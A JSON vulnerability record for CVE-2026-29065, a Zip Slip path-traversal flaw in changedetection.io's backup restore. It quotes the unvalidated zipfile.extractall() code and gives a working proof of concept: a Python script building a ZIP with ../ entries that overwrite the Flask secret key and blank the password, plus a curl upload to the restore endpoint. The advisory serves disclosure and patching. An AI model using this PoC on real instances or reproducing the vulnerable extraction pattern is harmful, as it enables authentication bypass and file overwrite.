{"id":"CVE-2026-29065","aliases":["GHSA-25g8-2mcf-fcx9","PYSEC-2026-2129"],"url":"https://o3.security/vulnerability/CVE-2026-29065","summary":"changedetection.io: Zip Slip vulnerability in the backup restore functionality","details":"### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, 'r') as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"🔴 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n<img width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" />","published":"2026-03-06T06:54:27.792Z","modified":"2026-10-28T02:30:36.800109226Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"changedetection-io","fixedVersion":"0.54.4"}],"fix":{"url":"https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa","label":"dgtlmoon/changedetection.io@1d7d812"},"references":[{"type":"WEB","url":"https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29065.json"},{"type":"ADVISORY","url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29065"},{"type":"FIX","url":"https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"},{"type":"PACKAGE","url":"https://github.com/dgtlmoon/changedetection.io"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:36.800109226Z"}}